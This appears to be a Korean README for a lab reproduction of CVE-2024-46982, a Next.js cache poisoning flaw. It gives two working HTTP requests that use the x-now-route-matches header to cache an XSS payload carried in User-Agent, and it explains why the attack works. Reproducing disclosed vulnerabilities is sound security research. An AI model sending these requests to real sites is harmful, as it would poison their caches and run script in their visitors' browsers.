CVE-2024-46982-Reproduction

시작하기

1. Node.js LTS 설치
2. npm install
3. npm run build
4. npm run start

익스플로잇 1: 캐시 포이즈닝을 통한 저장형 XSS

1. 아무 HTTP 클라이언트로 다음 HTTP 요청(공격 요청)을 전송하세요.

GET /poc?__nextDataReq=1 HTTP/1.1
Host: localhost:3000
User-Agent: <script>alert('XSS')</script>
x-now-route-matches: 1

2. 아무 웹 브라우저를 사용하여 http://localhost:3000(일반 요청)에 접속하세요.

익스플로잇 2: 캐시 포이즈닝을 통한 저장형 XSS

1. 아무 HTTP 클라이언트로 다음 HTTP 요청(공격 요청)을 전송하세요. "UiKoKFFGnF1td3mMyeDX5"를 자신의 ".next/BUILD_ID"로 반드시 교체하세요.

GET /_next/data/UiKoKFFGnF1td3mMyeDX5/poc.json HTTP/1.1
Host: localhost:3000
User-Agent: <script>alert('XSS')</script>
x-now-route-matches: 1

2. 아무 웹 브라우저를 사용하여 http://localhost:3000(일반 요청)에 접속하세요.

어떻게 동작하나요?

1. x-now-route-matches는 Next.js가 인식하는 사용자 지정 HTTP 헤더입니다. 이 헤더가 있으면 Next.js는 HTTP 요청을 "SSG"(정적 사이트 생성)로 처리하며, HTTP 응답은 캐시될 수 있습니다(Cache-Control: s-maxage=1, stale-while-revalidate).

2. ?__nextDataReq=1은 Next.js가 인식하는 쿼리스트링입니다. 이 값이 있으면 Next.js는 HTTP 요청을 "__NEXT_DATA__ 검색"으로 처리합니다.

전체 분석 글은 Credit 섹션에서 확인할 수 있습니다.

Credit

• https://zhero-web-sec.github.io/research-and-things/nextjs-cache-and-chains-the-stale-elixir